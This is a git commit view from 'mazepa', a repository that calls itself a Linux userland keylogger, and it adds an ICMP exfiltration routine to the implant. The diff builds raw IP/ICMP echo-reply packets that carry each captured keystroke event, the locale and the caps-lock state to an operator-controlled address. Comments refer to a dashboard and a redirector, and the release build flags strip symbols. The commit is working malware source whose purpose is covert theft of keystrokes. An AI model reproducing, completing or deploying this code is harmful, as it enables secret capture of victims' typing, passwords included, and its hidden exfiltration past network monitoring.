mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 8488547071757a15c49710e9e82936d16aa145c3
parent dbbd4c72f383b49ea7456b58c3ad9e6bcad8eb0f
Author: djnn <[email protected]>
Date: Sat, 6 Jul 2024 14:19:47 +0200

feat(icmp): icmp_send() method

Diffstat:
Mimplant/Makefile | 2+-
Mimplant/includes/implant.h | 1+
Mimplant/sources/main.c | 1+
Mimplant/sources/net.c | 121++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------------

4 files changed, 99 insertions(+), 26 deletions(-)

diff --git a/implant/Makefile b/implant/Makefile
@@ -13,7 +13,7 @@ LINK_FLAG    	=
 CFLAGS 			= -Wno-unused-command-line-argument -fPIC
 
 ifeq ($(MAKECMDGOALS), debug)
-	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security
+	CFLAGS 			+= -g3 -DDEBUG -Wno-format-security -Wno-visibility
 else
 	CFLAGS 		 	+= -Wall -Wextra -Os -Weverything -Wpedantic -Wl,-s
 	CFLAGS 			+= -flto -m64 -fvisibility=hidden -fvisibility-inlines-hidden -s
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -66,6 +66,7 @@ typedef struct implant_s {
 #define KEY_RELEASED 0
 
 // net.c
+int retrieve_ip_address(char *ip[32]);
 int send_key_icmp(implant_t *, struct input_event);
 
 // opt.c
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -1,5 +1,6 @@
 
 
+#include <alloca.h>
 #include <unistd.h>
 #include "implant.h"
 
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,21 +1,22 @@
 
+#include <alloca.h>
 #include <linux/input.h>
+#include <stdlib.h>
 
-#include <stdint.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
 #include <arpa/inet.h>
+#include <net/if.h>
 #include <netinet/in.h>
-#include <string.h>
-#include <arpa/inet.h>
 #include <netinet/ip.h>
 #include <netinet/ip_icmp.h>
+#include <stdint.h>
 #include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
 #include <unistd.h>
 #include "implant.h"
 
-static int retrieve_ip_address(char *ip[32]) {
+int retrieve_ip_address(char *ip[32]) {
 
     /* open UDP socket to resolver google DNS, retrieve IP address in resp */
 
@@ -23,13 +24,13 @@ static int retrieve_ip_address(char *ip[32]) {
     const uint16_t dns_port = 53;
 
     int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
-if (sockfd < 0) {
+    if (sockfd < 0) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not load UDP socket in retrieve_ip_address()\n");
         perror("socket");
 #endif
 
-cleanup_close_socket:
+    cleanup_close_socket:
         close(sockfd);
         return 0;
     }
@@ -39,7 +40,7 @@ cleanup_close_socket:
     serv.sin_addr.s_addr = inet_addr(resolver);
     serv.sin_port = htons(dns_port);
 
-    if (-1 == connect(sockfd,  (const struct sockaddr*)&serv, sizeof(serv))) {
+    if (-1 == connect(sockfd, (const struct sockaddr *)&serv, sizeof(serv))) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not connect to %s (port: %d)\n", resolver, dns_port);
         perror("connect");
@@ -50,7 +51,7 @@ cleanup_close_socket:
 
     struct sockaddr_in name;
     socklen_t namelen = sizeof(name);
-    if (-1 == getsockname(sockfd, (struct sockaddr*) &name, &namelen)) {
+    if (-1 == getsockname(sockfd, (struct sockaddr *)&name, &namelen)) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not get socket name\n");
         perror("getsockname");
@@ -59,14 +60,42 @@ cleanup_close_socket:
         goto cleanup_close_socket;
     }
 
-    // TODO(djnn): testing testing testing
+    const char *p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
+    if (!p) {
 
-    const char* p = inet_ntop(AF_INET, &name.sin_addr, *ip, 32);
+        goto cleanup_close_socket;
+    }
 
     close(sockfd);
     return 1;
 }
 
+static uint16_t icmp_checksum(uint16_t *addr, int len) {
+    int nleft = len;
+    uint32_t sum = 0;
+    uint16_t *w = addr;
+    uint16_t answer = 0;
+
+    // Adding 16 bits sequentially in sum
+    while (nleft > 1) {
+        sum += *w;
+        nleft -= 2;
+        w++;
+    }
+
+    // If an odd byte is left
+    if (nleft == 1) {
+        *(unsigned char *)(&answer) = *(unsigned char *)w;
+        sum += answer;
+    }
+
+    sum = (sum >> 16) + (sum & 0xffff);
+    sum += (sum >> 16);
+    answer = ~sum;
+
+    return answer;
+}
+
 /* Layout of the DATA packet is following
  * [ Locale (length: 31), using_cap_lock, struct input_event dump ]
  */
@@ -96,16 +125,16 @@ int send_key_icmp(implant_t *implant, struct input_event event) {
         perror("socket");
 #endif
 
-cleanup_error:
+    cleanup_error:
         close(sockfd);
         return ERROR;
     }
 
     int enabled = 1;
     if (setsockopt(sockfd, IPPROTO_IP,
-        IP_HDRINCL,
-        (const char *)&enabled,
-        sizeof(enabled)) == -1) {
+                   IP_HDRINCL,
+                   (const char *)&enabled,
+                   sizeof(enabled)) == -1) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not set ICMP socket options\n");
         perror("setsockopt");
@@ -115,9 +144,8 @@ cleanup_error:
     }
 
     if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
-                  &enabled,
-                  sizeof(int)
-                  ) < 0) {
+                   &enabled,
+                   sizeof(int)) < 0) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not set ICMP socket options\n");
         perror("setsockopt");
@@ -128,7 +156,9 @@ cleanup_error:
 
     /* set packet metadata */
 
-    char local_ip[32] = {0};
+    /* NOTE(djnn): this will be the local IP address, dont rely on this on
+       the dashboard side (use whatever your redirector / firewall gives u) */
+    char *local_ip = alloca(32);
     if (!retrieve_ip_address((char **)&local_ip)) {
 #ifdef DEBUG
         DEBUG_LOG("[+] could not get public ip address\n");
@@ -139,18 +169,59 @@ cleanup_error:
 
     int packet_type = ICMP_ECHOREPLY;
 
-    struct iphdr *ip = NULL;
-    struct icmphdr *icmp = NULL;
     struct in_addr src_addr = {0};
     struct in_addr dest_addr = {0};
 
     inet_pton(AF_INET, local_ip, &src_addr);
     inet_pton(AF_INET, implant->ip, &dest_addr);
 
+    /* this will be what we actually send (basically just payload + a bunch of things) */
+    char *full_packet = NULL;
+    int packetsz = sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(payload);
 
+    full_packet = calloc(packetsz, sizeof(uint8_t));
+    if (!full_packet) {
+#ifdef DEBUG
+        DEBUG_LOG("[+] send_icmp: could not allocate heap memory!\n");
+        perror("calloc");
+#endif
 
-    return SUCCESSFUL;
-}
+        goto cleanup_error;
+    }
+
+    struct iphdr *ip = (struct iphdr *)full_packet;
+    struct icmphdr *icmp = (struct icmphdr *)(full_packet + sizeof(struct iphdr));
+    char *icmp_payload = (char *)(full_packet + sizeof(struct iphdr) + sizeof(struct icmphdr));
+
+    /* configuring the headers */
+
+    ip->version = 4;
+    ip->ihl = 5;
+    ip->tos = 0;
+    ip->id = rand();
+    ip->frag_off = 0;
+    ip->ttl = 255;
+    ip->protocol = IPPROTO_ICMP;
+    ip->tot_len = htons(packetsz);
+    ip->saddr = src_addr.s_addr;
+    ip->daddr = dest_addr.s_addr;
 
+    icmp->code = 0;
+    icmp->un.echo.sequence = rand();
+    icmp->un.echo.id = rand();
+    icmp->checksum = 0;
 
+    memcpy(icmp_payload, payload, sizeof(payload));
 
+    icmp->type = ICMP_ECHOREPLY;
+    icmp->checksum = icmp_checksum((unsigned short *)icmp, sizeof(struct icmphdr) + sizeof(payload));
+
+    struct sockaddr_in servaddr;
+    memset(&servaddr, 0, sizeof(struct sockaddr_in));
+    servaddr.sin_family = AF_INET;
+    servaddr.sin_addr.s_addr = dest_addr.s_addr;
+
+    sendto(sockfd, full_packet, packetsz, 0, (struct sockaddr *)&servaddr, sizeof(struct sockaddr_in));
+    free(full_packet);
+    return SUCCESSFUL;
+}